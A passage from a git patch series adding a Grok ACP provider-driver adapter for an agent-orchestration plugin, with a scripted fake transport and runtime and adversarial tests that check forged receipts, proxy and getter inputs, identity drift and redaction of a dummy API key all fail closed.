return 'in_progress'; +} + +function runReconcile(store, request) { + const view = validateDriverReconcileRequestV1(request); + const identity = identityFromEnvelope(view.envelope, view.child_envelope_digest); + const prior = getLane(store, identity); + if (prior === undefined || prior.spawned !== true) { + fail('not_dispatched', 'driver.reconcile.request', + 'Reconcile addresses an existing Grok dispatch; this child has no launch observation.'); + } + assertLaneIdentity(prior, identity, 'driver.reconcile.request'); + const include = view.include ?? capturedFreeze([]); + + if (view.intent === 'restart_reattach') { + const reattachRequest = transportIdentityRequest(identity, { + session_id: prior.session_id, + request_id: prior.request_id, + }); + assertNoContentKeys(reattachRequest, 'grok_acp_transport.reattach.request'); + const reattached = callTransport(store, 'reattach', reattachRequest); + assertClosedReceipt(reattached, REATTACH_RECEIPT_KEYS, 'transport.reattach.result'); + if (optOwn(reattached, 'reattached') !== true) { + fail('stale_identity_denied', 'transport.reattach.result.reattached', + 'restart_reattach recovered no live Grok ACP session; the lane fails closed and is never relaunched.'); + } + assertReceiptIdentity(reattached, identity, 'transport.reattach.result'); + const sessionId = assertPatternedId( + optOwn(reattached, 'session_id'), GROK_ACP_SESSION_ID_PATTERN, 'transport.reattach.result.session_id', 'session_id', + ); + if (prior.session_id !== undefined && sessionId !== prior.session_id) { + fail('stale_identity_denied', 'transport.reattach.result.session_id', + 'Reattached session_id does not match the spawned Grok ACP session.'); + } + putLane(store, identity, { ...prior, session_id: sessionId, reattached: true }); + } + + const observed = observeLane(store, identity, getLane(store, identity), include); + const disposition = prior.state === 'dispatch_uncertain' && observed.status === 'lost' + ? 'dispatch_uncertain' + : reconcileDisposition(observed.status); + const nextState = disposition === 'unresolved_attention' ? 'unresolved_attention' + : disposition === 'terminal' ? 'terminal' + : disposition === 'dispatch_uncertain' ? 'dispatch_uncertain' + : 'in_progress'; + putLane(store, identity, { + ...getLane(store, identity), + state: nextState, + evidence: observed.evidence, + last_status: observed.status, + session_id: observed.sessionId, + }); + return driverResult('reconcile', identity, disposition); +} + +function runCancel(store, request) { + const view = validateDriverCancelRequestV1(request); + const identity = identityFromEnvelope(view.envelope, view.child_envelope_digest); + const prior = getLane(store, identity); + if (prior === undefined || prior.spawned !== true) { + fail('not_dispatched', 'driver.cancel.request', + 'Cancel addresses an existing Grok dispatch; this child has no launch observation.'); + } + assertLaneIdentity(prior, identity, 'driver.cancel.request'); + if (prior.state === 'terminal' || prior.last_status !== undefined + && capturedIncludes(TERMINAL_OBSERVE_STATUSES, prior.last_status)) { + putLane(store, identity, { ...prior, state: 'already_terminal' }); + return driverResult('cancel', identity, 'already_terminal'); + } + const cancelRequest = transportIdentityRequest(identity, { + session_id: prior.session_id, + request_id: prior.request_id, + }); + assertNoContentKeys(cancelRequest, 'grok_acp_transport.cancel.request'); + const receipt = callTransport(store, 'cancel', cancelRequest); + assertClosedReceipt(receipt, CANCEL_RECEIPT_KEYS, 'transport.cancel.result'); + assertReceiptIdentity(receipt, identity, 'transport.cancel.result'); + if (prior.session_id !== undefined) { + const sessionId = assertPatternedId( + optOwn(receipt, 'session_id'), GROK_ACP_SESSION_ID_PATTERN, 'transport.cancel.result.session_id', 'session_id', + ); + if (sessionId !== prior.session_id) { + fail('stale_identity_denied', 'transport.cancel.result.session_id', + 'Cancel confirmation session_id must match the live Grok ACP session.'); + } + } + const outcome = optOwn(receipt, 'outcome'); + if (!capturedIncludes(GROK_ACP_CANCEL_OUTCOMES, outcome)) { + fail('invalid_format', 'transport.cancel.result.outcome', + `transport.cancel.result.outcome must be one of ${capturedJoin(GROK_ACP_CANCEL_OUTCOMES, ', ')}.`); + } + putLane(store, identity, { ...prior, state: outcome, cancel_outcome: outcome }); + return driverResult('cancel', identity, outcome); +} + +export function createGrokAcpDriverV1(transport) { + assertGrokAcpTransportV1(transport); + const handlers = capturedCreate(null); + for (const operation of GROK_ACP_TRANSPORT_OPERATIONS) { + const handler = capturedDescriptor(transport, operation)?.value; + capturedDefineProperty(handlers, operation, { + value: handler, + enumerable: true, + configurable: false, + writable: false, + }); + } + OBJECT_FREEZE(handlers); + const store = { + transport, + handlers, + lanes: new MAP_CTOR(), + }; + const driver = capturedCreate(null); + capturedDefineProperty(driver, 'preflight', { + value: (request) => runPreflight(store, request), + enumerable: true, configurable: false, writable: false, + }); + capturedDefineProperty(driver, 'launch', { + value: (request) => runLaunch(store, request), + enumerable: true, configurable: false, writable: false, + }); + capturedDefineProperty(driver, 'reconcile', { + value: (request) => runReconcile(store, request), + enumerable: true, configurable: false, writable: false, + }); + capturedDefineProperty(driver, 'cancel', { + value: (request) => runCancel(store, request), + enumerable: true, configurable: false, writable: false, + }); + OBJECT_FREEZE(driver); + DRIVER_STORES.set(driver, store); + assertProviderDriverV1(driver); + return driver; +} + +export function bindGrokAcpDriverV1(transport) { + const driver = createGrokAcpDriverV1(transport); + const bound = bindProviderDriverV1(driver, grokAcpDriverDeclarationV1()); + DRIVER_STORES.set(bound, DRIVER_STORES.get(driver)); + return bound; +} + +export function inspectGrokAcpLaneEvidenceV1(driver, query) { + const path = 'grok_acp_evidence.query'; + if (query === undefined || query === null) { + fail('invalid_type', path, `${path} must be a plain evidence query object.`); + } + assertDirectJsonClosure(query, path); + assertPlainObject(query, 'invalid_type', path, path); + assertAllowedKeys(query, EVIDENCE_QUERY_KEYS, path); + for (const key of ['run_id', 'assignment_id', 'child_envelope_digest']) { + if (!hasOwn(query, key)) fail('missing_key', `${path}.${key}`, `${path}.${key} is required.`); + } + const digest = assertDigest(optOwn(query, 'child_envelope_digest'), `${path}.child_envelope_digest`); + if (hasOwn(query, 'cursor')) { + assertPatternedId(optOwn(query, 'cursor'), GROK_ACP_CURSOR_PATTERN, `${path}.cursor`, 'event cursor'); + } + const store = storeFor(driver); + const record = store.lanes.get(laneKey(optOwn(query, 'run_id'), optOwn(query, 'assignment_id'))); + if (record === undefined || !digestsEqual(record.identity.child_envelope_digest, digest)) { + fail('stale_identity_denied', path, + 'No Grok ACP evidence is stored for this exact child identity.'); + } + if (record.evidence === undefined) { + return freezeData({ + schema: GROK_ACP_EVIDENCE_SCHEMA_ID, + run_id: record.identity.run_id, + assignment_id: record.identity.assignment_id, + child_envelope_digest: record.identity.child_envelope_digest, + session_id: record.session_id ?? null, + events: capturedFreeze([]), + evidence_truncated: false, + }); + } + return record.evidence; +} + +export function describeGrokAcpAdapterSurfaceV1() { + const declaration = grokAcpDriverDeclarationV1(); + return capturedFreeze({ + schema: GROK_ACP_DRIVER_SCHEMA_ID, + provider: GROK_PROVIDER_SLOT, + agent: GROK_ACP_AGENT, + driver_operations: capturedFreeze([...DRIVER_OPERATIONS]), + transport_schema: GROK_ACP_TRANSPORT_SCHEMA_ID, + transport_operations: capturedFreeze([...GROK_ACP_TRANSPORT_OPERATIONS]), + capability: declaration.capability, + features: declaration.features, + workspace_semantics: 'local_managed_worktree', + workspace_starting_point: 'run_base_sha', + merge_authority: 'none_codex_only_integration', + create_pr_posture: 'prohibited', + confirmation_rule: 'launch_dispatched_only_after_authoritative_acp_ack', + post_spawn_loss_rule: 'exception_timeout_or_loss_returns_dispatch_uncertain_never_replayed', + live_qualification: false, + durable_store: false, + supervisor_cutover: false, + bounds: capturedFreeze({ + event_page: MAX_GROK_ACP_EVENT_PAGE, + event_text_bytes: MAX_GROK_ACP_EVENT_TEXT_BYTES, + event_bytes: MAX_GROK_ACP_EVENT_BYTES, + event_depth: MAX_GROK_ACP_EVENT_DEPTH, + event_items: MAX_GROK_ACP_EVENT_ITEMS, + evidence_bytes: MAX_GROK_ACP_EVIDENCE_BYTES, + attention_prompt_bytes: MAX_GROK_ACP_ATTENTION_PROMPT_BYTES, + timing_ms: MAX_GROK_ACP_TIMING_MS, + cursor_pattern: GROK_ACP_CURSOR_PATTERN.source, + }), + identities: capturedFreeze([ + 'provider', 'model', 'run_id', 'assignment_id', 'lane_index', 'base_sha', + 'child_envelope_digest', 'session_id', 'request_id', 'repository_path', + 'workspace_semantics', 'workspace_starting_point', + ]), + later_real_grok_acp_route: capturedFreeze({ + preflight: 'probe grok-build ACP without spawning a prompt session', + spawn: 'ensureSession({ agent: grok-build, mode: persistent, cwd: managed worktree at run_base_sha })', + dispatch: 'startTurn with exact ChildEnvelopeV1 text; treat as dispatched only after ACP acknowledgement', + observe: 'page turn.events / live progress with the closed caps; never copy envelope bytes into diagnostics', + cancel: 'turn.cancel and wait for cancellation confirmation', + reattach: 'ensureSession resume of the persisted ACP session identity with no new prompt', + forbidden: capturedFreeze([ + 'cli_fallback_after_spawn', 'digest_only_launch', 'direct_mode', 'merge_or_create_pr', + 'post_spawn_retry', 'provider_or_model_substitution', + ]), + }), + feature_values: DRIVER_FEATURE_VALUES, + }); +} + +capturedFreeze(assertGrokAcpTransportV1); +capturedFreeze(createGrokAcpDriverV1); +capturedFreeze(bindGrokAcpDriverV1); +capturedFreeze(inspectGrokAcpLaneEvidenceV1); +capturedFreeze(describeGrokAcpAdapterSurfaceV1); +capturedFreeze(grokAcpDriverDeclarationV1); From 08d533c3d6093d4988eda8c636f6dd6116bdc758 Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Sat, 22 Aug 2026 20:14:12 +0000 Subject: [PATCH 21/81] test(grok): cover injected Grok ACP transport sequences Prove pre-spawn failure versus post-spawn uncertainty, acknowledgement, duplicate launch, attention/reply identity, cancellation races, restart reattach, event/cursor bounds, malformed and forged receipts, and hostile direct-JS inputs without a live Grok client. --- .../test/fixtures/r1-grok-acp-transport.mjs | 174 ++++++++ .../r1-grok-acp-driver-adversarial.test.mjs | 391 +++++++++++++++++ .../test/r1-grok-acp-driver.test.mjs | 407 ++++++++++++++++++ 3 files changed, 972 insertions(+) create mode 100644 plugins/codex-co-engineer/test/fixtures/r1-grok-acp-transport.mjs create mode 100644 plugins/codex-co-engineer/test/r1-grok-acp-driver-adversarial.test.mjs create mode 100644 plugins/codex-co-engineer/test/r1-grok-acp-driver.test.mjs diff --git a/plugins/codex-co-engineer/test/fixtures/r1-grok-acp-transport.mjs b/plugins/codex-co-engineer/test/fixtures/r1-grok-acp-transport.mjs new file mode 100644 index 0000000..ce8aebf --- /dev/null +++ b/plugins/codex-co-engineer/test/fixtures/r1-grok-acp-transport.mjs @@ -0,0 +1,174 @@ +// Deterministic injected Grok ACP transport for P18 tests. +// Records closed operation requests and plays scripted receipts or failures. +// This is not a live Grok client. + +import { RunContractV1Error } from '../../mcp/v3/run-manifest.mjs'; +import { childEnvelopeDigestV1 } from '../../mcp/v3/identity.mjs'; +import { compileChildEnvelopeV1 } from '../../mcp/v3/prompt-compiler.mjs'; + +export const GROK_FIXTURE_BASE_SHA = 'b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1'; +export const GROK_FIXTURE_REPOSITORY_PATH = '/opt/codex-co-engineer-grok-acp/suite'; +export const GROK_FIXTURE_RUN_ID = 'grok-acp-driver-suite'; +export const GROK_FIXTURE_ASSIGNMENT_ID = 'grok-lane'; +export const GROK_FIXTURE_MODEL = 'grok-4'; +export const GROK_FIXTURE_SESSION_ID = 'sess-grok-acp-1'; + +export function buildGrokDriverFixtureV1(overrides = {}) { + const assignment = { + assignment_id: GROK_FIXTURE_ASSIGNMENT_ID, + role: 'implement', + access: 'writer', + prompt: 'Implement the Grok ACP lane exactly as instructed by the envelope.', + execution: { provider: 'grok', model: GROK_FIXTURE_MODEL }, + write_scope: ['mcp/**'], + acceptance: [{ command_id: 'unit-tests', timeout_ms: 600_000 }], + expected_duration_ms: 1_200_000, + required_evidence: ['provider_report', 'git_diff'], + ...overrides.assignment, + }; + const manifest = Object.freeze({ + schema: 'codex-co-engineer.run.v1', + run_id: GROK_FIXTURE_RUN_ID, + repository: Object.freeze({ + path: GROK_FIXTURE_REPOSITORY_PATH, + base_sha: GROK_FIXTURE_BASE_SHA, + }), + objective: 'Exercise the Grok ACP ProviderDriverV1 adapter end to end.', + assignments: Object.freeze([Object.freeze(assignment)]), + policy: Object.freeze({ + max_concurrency: 8, + require_same_base: true, + require_disjoint_writer_scopes: true, + allow_post_dispatch_fallback: false, + allow_merge: false, + allow_create_pr: false, + attention_mode: 'aggregate', + completion_mode: 'all_settled_then_verify', + }), + return_contract: Object.freeze({ mode: 'verified_decision', include_artifact_refs: true }), + ...overrides.manifest, + }); + const envelope = compileChildEnvelopeV1(manifest, GROK_FIXTURE_ASSIGNMENT_ID); + return Object.freeze({ + manifest, + envelope, + run_id: envelope.run_id, + assignment_id: envelope.assignment_id, + lane_index: envelope.lane_index, + base_sha: envelope.repository.base_sha, + model: envelope.execution.model, + envelope_text: envelope.envelope_text, + child_envelope_digest: childEnvelopeDigestV1(envelope).digest, + }); +} + +function identityFromRequest(request) { + return { + provider: request.provider, + model: request.model, + run_id: request.run_id, + assignment_id: request.assignment_id, + lane_index: request.lane_index, + base_sha: request.base_sha, + child_envelope_digest: request.child_envelope_digest, + repository_path: request.repository_path, + }; +} + +function takeScripted(script, name) { + const value = script[name]; + if (Array.isArray(value)) { + if (value.length === 0) return { kind: 'default' }; + return { kind: 'item', value: value.shift() }; + } + if (value === undefined) return { kind: 'default' }; + return { kind: 'item', value }; +} + +function asError(value) { + if (value instanceof Error) return value; + const error = new RunContractV1Error( + value.code ?? 'transport_exception', + value.path ?? 'grok_acp_transport', + value.message ?? 'Scripted Grok ACP transport failure.', + ); + if (value.spawned === true) error.spawned = true; + return error; +} + +const TRANSPORT_CALLS = new WeakMap(); + +export function createScriptedGrokAcpTransportV1(script = {}) { + const calls = []; + let sessionId = script.session_id ?? GROK_FIXTURE_SESSION_ID; + let requestId; + + function record(operation, request) { + calls.push({ operation, request }); + } + + function play(name, request, buildDefault) { + record(name, request); + const next = takeScripted(script, name); + if (next.kind === 'default') return buildDefault(); + const value = next.value; + if (typeof value === 'function') return value(request, { sessionId, requestId, calls }); + if (value === 'default') return buildDefault(); + if (value?.throw) throw asError(value.throw); + if (value?.fail) throw asError(value.fail); + return value; + } + + const transport = { + preflight: (request) => play('preflight', request, () => ({ + ok: true, + ...identityFromRequest(request), + })), + spawn: (request) => play('spawn', request, () => ({ + spawned: true, + session_id: sessionId, + ...identityFromRequest(request), + })), + dispatch: (request) => play('dispatch', request, () => { + requestId = request.request_id; + sessionId = request.session_id ?? sessionId; + return { + acknowledged: true, + session_id: sessionId, + request_id: requestId, + provider: request.provider, + model: request.model, + run_id: request.run_id, + assignment_id: request.assignment_id, + lane_index: request.lane_index, + base_sha: request.base_sha, + child_envelope_digest: request.child_envelope_digest, + }; + }), + observe: (request) => play('observe', request, () => ({ + session_id: request.session_id ?? sessionId, + status: 'completed', + ...identityFromRequest(request), + })), + cancel: (request) => play('cancel', request, () => ({ + outcome: 'cancel_confirmed', + session_id: request.session_id ?? sessionId, + ...identityFromRequest(request), + })), + reattach: (request) => play('reattach', request, () => ({ + reattached: true, + session_id: request.session_id ?? sessionId, + ...identityFromRequest(request), + })), + }; + TRANSPORT_CALLS.set(transport, calls); + return transport; +} + +export function grokAcpTransportCalls(transport) { + return TRANSPORT_CALLS.get(transport) ?? []; +} + +export function grokAcpCallsOf(transport, operation) { + return grokAcpTransportCalls(transport).filter((entry) => entry.operation === operation); +} diff --git a/plugins/codex-co-engineer/test/r1-grok-acp-driver-adversarial.test.mjs b/plugins/codex-co-engineer/test/r1-grok-acp-driver-adversarial.test.mjs new file mode 100644 index 0000000..34631b5 --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-grok-acp-driver-adversarial.test.mjs @@ -0,0 +1,391 @@ +// Adversarial tests for the P18 Grok ACP adapter: malformed and +// provider-forged receipts, hostile direct-JS inputs, content leaking into +// diagnostics, and post-spawn replay. Injected transport only. + +import assert from 'node:assert/strict'; +import test from 'node:test'; +import { types as utilTypes } from 'node:util'; + +import { + DRIVER_OPERATION_SCHEMA_IDS, + PROVIDER_DRIVER_VERSION, + buildDriverOperationRequestV1, + validateDriverLaunchRequestV1, +} from '../mcp/v3/provider-driver.mjs'; +import { + GROK_ACP_TRANSPORT_OPERATIONS, + MAX_GROK_ACP_EVENT_TEXT_BYTES, + MAX_GROK_ACP_TIMING_MS, + assertGrokAcpTransportV1, + bindGrokAcpDriverV1, + createGrokAcpDriverV1, + grokAcpDriverDeclarationV1, + inspectGrokAcpLaneEvidenceV1, +} from '../mcp/v3/grok-acp-driver.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { countingProxy, trapTotal } from './fixtures/r1-resolver-fixtures.mjs'; +import { + GROK_FIXTURE_MODEL, + GROK_FIXTURE_SESSION_ID, + buildGrokDriverFixtureV1, + createScriptedGrokAcpTransportV1, + grokAcpCallsOf, +} from './fixtures/r1-grok-acp-transport.mjs'; + +const fixture = buildGrokDriverFixtureV1(); + +function expectCode(fn, code, message) { + assert.throws(fn, (error) => error instanceof RunContractV1Error && error.code === code, message); +} + +function requestFor(operation, extras = {}) { + return buildDriverOperationRequestV1(operation, fixture.envelope, extras); +} + +function identityFields() { + return { + provider: 'grok', + model: GROK_FIXTURE_MODEL, + run_id: fixture.run_id, + assignment_id: fixture.assignment_id, + lane_index: fixture.lane_index, + base_sha: fixture.base_sha, + child_envelope_digest: fixture.child_envelope_digest, + }; +} + +function launchBound(script = {}) { + const transport = createScriptedGrokAcpTransportV1(script); + const driver = bindGrokAcpDriverV1(transport); + driver.preflight(requestFor('preflight')); + return { driver, transport }; +} + +test('live and revoked proxies are denied with zero traps', () => { + const live = countingProxy(createScriptedGrokAcpTransportV1()); + const liveError = errorOf(() => assertGrokAcpTransportV1(live.proxy)); + assert.equal(liveError.code, 'proxy_denied'); + assert.equal(trapTotal(live.counts), 0); + + const { proxy, revoke } = Proxy.revocable(createScriptedGrokAcpTransportV1(), { + get() { throw new Error('revoked getter ran'); }, + }); + revoke(); + assert.equal(errorOf(() => assertGrokAcpTransportV1(proxy)).code, 'proxy_denied'); + + const declarationProxy = countingProxy(grokAcpDriverDeclarationV1()); + assert.equal( + errorOf(() => inspectGrokAcpLaneEvidenceV1(bindGrokAcpDriverV1(createScriptedGrokAcpTransportV1()), declarationProxy.proxy)).code, + 'proxy_denied', + ); + assert.equal(trapTotal(declarationProxy.counts), 0); +}); + +test('hostile transport surfaces fail closed', () => { + expectCode(() => assertGrokAcpTransportV1({ ...createScriptedGrokAcpTransportV1(), retry: () => ({}) }), + 'invalid_surface'); + const incomplete = { ...createScriptedGrokAcpTransportV1() }; + delete incomplete.reattach; + expectCode(() => assertGrokAcpTransportV1(incomplete), 'invalid_surface'); + expectCode(() => assertGrokAcpTransportV1({ ...createScriptedGrokAcpTransportV1(), spawn: 1 }), + 'invalid_operation'); + class TransportClass {} + expectCode( + () => assertGrokAcpTransportV1(Object.assign(new TransportClass(), createScriptedGrokAcpTransportV1())), + 'exotic_prototype_denied', + ); + const accessor = {}; + Object.defineProperty(accessor, 'preflight', { enumerable: true, get: () => () => ({}) }); + for (const operation of GROK_ACP_TRANSPORT_OPERATIONS) { + if (operation === 'preflight') continue; + accessor[operation] = () => ({}); + } + expectCode(() => assertGrokAcpTransportV1(accessor), 'invalid_object'); +}); + +test('getter and own-undefined driver requests never invoke accessors', () => { + let reads = 0; + const getterRequest = { + schema: DRIVER_OPERATION_SCHEMA_IDS.launch, + envelope_text: fixture.envelope_text, + child_envelope_digest: fixture.child_envelope_digest, + }; + Object.defineProperty(getterRequest, 'version', { + enumerable: true, + get() { + reads += 1; + return 1; + }, + }); + assert.equal(errorOf(() => validateDriverLaunchRequestV1(getterRequest)).code, 'accessor_property_denied'); + assert.equal(reads, 0); + + const undefinedRequest = { + schema: DRIVER_OPERATION_SCHEMA_IDS.launch, + version: undefined, + envelope_text: fixture.envelope_text, + child_envelope_digest: fixture.child_envelope_digest, + }; + assert.equal(errorOf(() => validateDriverLaunchRequestV1(undefinedRequest)).code, 'own_undefined_denied'); + + expectCode(() => validateDriverLaunchRequestV1(new Proxy(requestFor('launch'), {})), 'proxy_denied'); +}); + +test('malformed spawn receipts after a returned call are uncertain, not dispatched', () => { + const transport = createScriptedGrokAcpTransportV1({ + spawn: { spawned: true, session_id: '!!!', ...identityFields() }, + }); + const driver = bindGrokAcpDriverV1(transport); + driver.preflight(requestFor('preflight')); + const receipt = driver.launch(requestFor('launch')); + assert.equal(receipt.disposition, 'dispatch_uncertain'); + expectCode(() => driver.launch(requestFor('launch')), 'replay_denied'); + assert.equal(grokAcpCallsOf(transport, 'dispatch').length, 0); +}); + +test('provider-forged dispatch acknowledgements are never treated as dispatched', () => { + const cases = [ + { model: 'grok-code-fast-1' }, + { provider: 'dsh' }, + { run_id: 'other-run' }, + { child_envelope_digest: '0'.repeat(64) }, + { session_id: 'sess-forged' }, + { request_id: 'forged-request' }, + ]; + for (const forge of cases) { + const transport = createScriptedGrokAcpTransportV1({ + dispatch: (request) => ({ + acknowledged: true, + session_id: request.session_id, + request_id: request.request_id, + ...identityFields(), + ...forge, + }), + }); + const driver = bindGrokAcpDriverV1(transport); + driver.preflight(requestFor('preflight')); + const receipt = driver.launch(requestFor('launch')); + assert.equal(receipt.disposition, 'dispatch_uncertain', JSON.stringify(forge)); + expectCode(() => driver.launch(requestFor('launch')), 'replay_denied'); + assert.equal(grokAcpCallsOf(transport, 'dispatch').length, 1); + } +}); + +test('forged observe, cancel, and reattach identities fail closed', () => { + const { driver } = launchBound({ + observe: { status: 'running', session_id: 'sess-other', ...identityFields() }, + }); + driver.launch(requestFor('launch')); + expectCode(() => driver.reconcile(requestFor('reconcile')), 'stale_identity_denied'); + + const cancelForge = launchBound({ + cancel: { outcome: 'cancel_confirmed', session_id: 'sess-other', ...identityFields() }, + }); + cancelForge.driver.launch(requestFor('launch')); + expectCode(() => cancelForge.driver.cancel(requestFor('cancel')), 'stale_identity_denied'); + + const reattachForge = launchBound({ + reattach: { reattached: true, session_id: 'sess-other', ...identityFields() }, + }); + reattachForge.driver.launch(requestFor('launch')); + expectCode( + () => reattachForge.driver.reconcile(requestFor('reconcile', { intent: 'restart_reattach' })), + 'stale_identity_denied', + ); +}); + +test('malformed observe receipts fail closed and do not copy content into the driver result', () => { + const extraKey = launchBound({ + observe: { + status: 'running', + session_id: GROK_FIXTURE_SESSION_ID, + envelope_text: fixture.envelope_text, + ...identityFields(), + }, + }); + extraKey.driver.launch(requestFor('launch')); + expectCode(() => extraKey.driver.reconcile(requestFor('reconcile')), 'unknown_key'); + + const fallbackKey = launchBound({ + observe: { + status: 'running', + session_id: GROK_FIXTURE_SESSION_ID, + fallback: true, + ...identityFields(), + }, + }); + fallbackKey.driver.launch(requestFor('launch')); + expectCode(() => fallbackKey.driver.reconcile(requestFor('reconcile')), 'replay_or_fallback_denied'); + + const badCursor = launchBound({ + observe: { + status: 'running', + session_id: GROK_FIXTURE_SESSION_ID, + cursor: 'not-a-cursor', + ...identityFields(), + }, + }); + badCursor.driver.launch(requestFor('launch')); + expectCode(() => badCursor.driver.reconcile(requestFor('reconcile')), 'invalid_format'); + + const badTiming = launchBound({ + observe: { + status: 'running', + session_id: GROK_FIXTURE_SESSION_ID, + elapsed_ms: MAX_GROK_ACP_TIMING_MS + 1, + ...identityFields(), + }, + }); + badTiming.driver.launch(requestFor('launch')); + expectCode(() => badTiming.driver.reconcile(requestFor('reconcile')), 'invalid_format'); +}); + +test('proxy and accessor transport receipts fail closed without running getters', () => { + const proxyTransport = createScriptedGrokAcpTransportV1({ + preflight: () => new Proxy({ ok: true, ...identityFields() }, {}), + }); + expectCode( + () => bindGrokAcpDriverV1(proxyTransport).preflight(requestFor('preflight')), + 'proxy_denied', + ); + + let getterRuns = 0; + const accessorTransport = createScriptedGrokAcpTransportV1({ + preflight: () => { + const receipt = { ok: true, ...identityFields() }; + delete receipt.ok; + Object.defineProperty(receipt, 'ok', { + enumerable: true, + get() { + getterRuns += 1; + return true; + }, + }); + return receipt; + }, + }); + expectCode( + () => bindGrokAcpDriverV1(accessorTransport).preflight(requestFor('preflight')), + 'accessor_property_denied', + ); + assert.equal(getterRuns, 0); +}); + +test('needs_attention without a reply identity fails closed', () => { + const { driver } = launchBound({ + observe: { status: 'needs_attention', session_id: GROK_FIXTURE_SESSION_ID, ...identityFields() }, + }); + driver.launch(requestFor('launch')); + expectCode(() => driver.reconcile(requestFor('reconcile')), 'capability_reply_mismatch'); +}); + +test('inspect rejects hostile queries and stale child identities', () => { + const { driver } = launchBound(); + driver.launch(requestFor('launch')); + expectCode(() => inspectGrokAcpLaneEvidenceV1(driver, { + run_id: fixture.run_id, + assignment_id: fixture.assignment_id, + child_envelope_digest: '0'.repeat(64), + }), 'stale_identity_denied'); + expectCode(() => inspectGrokAcpLaneEvidenceV1(driver, { + run_id: fixture.run_id, + assignment_id: fixture.assignment_id, + child_envelope_digest: fixture.child_envelope_digest, + fallback: true, + }), 'replay_or_fallback_denied'); + const getterQuery = { + run_id: fixture.run_id, + assignment_id: fixture.assignment_id, + child_envelope_digest: fixture.child_envelope_digest, + }; + let reads = 0; + Object.defineProperty(getterQuery, 'cursor', { + enumerable: true, + get() { + reads += 1; + return '1'; + }, + }); + expectCode(() => inspectGrokAcpLaneEvidenceV1(driver, getterQuery), 'accessor_property_denied'); + assert.equal(reads, 0); +}); + +test('oversized event text is clipped and omitted keys never appear on evidence', () => { + const { driver } = launchBound({ + observe: { + status: 'running', + session_id: GROK_FIXTURE_SESSION_ID, + ...identityFields(), + events: [{ + type: 'tool', + text: 'y'.repeat(MAX_GROK_ACP_EVENT_TEXT_BYTES + 64), + prompt: fixture.envelope_text, + envelope_text: fixture.envelope_text, + api_key: 'sk-abcdefghijklmnop', + content: { raw: fixture.envelope_text }, + }], + }, + }); + driver.launch(requestFor('launch')); + driver.reconcile(requestFor('reconcile', { include: ['detailed_events'] })); + const evidence = inspectGrokAcpLaneEvidenceV1(driver, { + run_id: fixture.run_id, + assignment_id: fixture.assignment_id, + child_envelope_digest: fixture.child_envelope_digest, + }); + assert.equal(evidence.events.length, 1); + assert.equal(evidence.events[0].envelope_text, undefined); + assert.equal(evidence.events[0].content, undefined); + assert.equal(evidence.events[0].api_key, '[redacted]'); + assert.ok(String(evidence.events[0].text).length <= MAX_GROK_ACP_EVENT_TEXT_BYTES + 1); + assert.equal(JSON.stringify(evidence).includes(fixture.envelope_text), false); +}); + +test('stale workspace and model drift on reattach fail closed', () => { + const { driver } = launchBound({ + reattach: { + reattached: true, + session_id: GROK_FIXTURE_SESSION_ID, + ...identityFields(), + model: 'grok-code-fast-1', + repository_path: '/tmp/other-worktree', + }, + }); + driver.launch(requestFor('launch')); + expectCode( + () => driver.reconcile(requestFor('reconcile', { intent: 'restart_reattach' })), + 'stale_identity_denied', + ); +}); + +test('cyclic and aliased receipts fail closed', () => { + const cyclic = identityFields(); + cyclic.status = 'running'; + cyclic.session_id = GROK_FIXTURE_SESSION_ID; + cyclic.progress = {}; + cyclic.progress.self = cyclic.progress; + const { driver } = launchBound({ observe: cyclic }); + driver.launch(requestFor('launch')); + expectCode(() => driver.reconcile(requestFor('reconcile')), 'aliased_reference_denied'); +}); + +test('createGrokAcpDriverV1 captures operations so later mutation cannot swap dispatch', () => { + const transport = createScriptedGrokAcpTransportV1(); + const driver = createGrokAcpDriverV1(transport); + transport.dispatch = () => { + throw new Error('mutated dispatch must never run'); + }; + driver.preflight(requestFor('preflight')); + assert.equal(driver.launch(requestFor('launch')).disposition, 'dispatched'); +}); + +function errorOf(action) { + try { + action(); + } catch (error) { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + assert.equal(utilTypes.isProxy(error), false); + return error; + } + assert.fail('expected a typed RunContractV1Error'); +} diff --git a/plugins/codex-co-engineer/test/r1-grok-acp-driver.test.mjs b/plugins/codex-co-engineer/test/r1-grok-acp-driver.test.mjs new file mode 100644 index 0000000..f7220d6 --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-grok-acp-driver.test.mjs @@ -0,0 +1,407 @@ +// Runtime tests for the P18 Grok ACP ProviderDriverV1 adapter: injected +// transport sequences for pre-spawn failure vs post-spawn uncertainty, +// acknowledgement, duplicate launch, attention/reply identity, cancellation +// races, restart reattach, and event/cursor bounds. This is not live Grok +// ACP qualification. + +import assert from 'node:assert/strict'; +import test from 'node:test'; + +import { childEnvelopeDigestV1 } from '../mcp/v3/identity.mjs'; +import { compileChildEnvelopeV1 } from '../mcp/v3/prompt-compiler.mjs'; +import { + DRIVER_OPERATION_SCHEMA_IDS, + DRIVER_RESULT_KEYS, + PROVIDER_DRIVER_VERSION, + buildDriverOperationRequestV1, +} from '../mcp/v3/provider-driver.mjs'; +import { + GROK_ACP_AGENT, + GROK_PROVIDER_SLOT, + MAX_GROK_ACP_EVENT_PAGE, + bindGrokAcpDriverV1, + createGrokAcpDriverV1, + describeGrokAcpAdapterSurfaceV1, + grokAcpDriverDeclarationV1, + inspectGrokAcpLaneEvidenceV1, +} from '../mcp/v3/grok-acp-driver.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { + GROK_FIXTURE_MODEL, + GROK_FIXTURE_SESSION_ID, + buildGrokDriverFixtureV1, + createScriptedGrokAcpTransportV1, + grokAcpCallsOf, +} from './fixtures/r1-grok-acp-transport.mjs'; +import { driverDeclaration } from './provider-driver-contract-suite.mjs'; + +const fixture = buildGrokDriverFixtureV1(); + +function expectCode(fn, code, message) { + assert.throws(fn, (error) => error instanceof RunContractV1Error && error.code === code, message); +} + +function requestFor(operation, extras = {}) { + return buildDriverOperationRequestV1(operation, fixture.envelope, extras); +} + +function launchReady(transport = createScriptedGrokAcpTransportV1()) { + const driver = bindGrokAcpDriverV1(transport); + assert.equal(driver.preflight(requestFor('preflight')).disposition, 'ready'); + return { driver, transport }; +} + +test('the Grok adapter hard-binds grok, the P05/P17 capability record, and managed worktree semantics', () => { + const declaration = 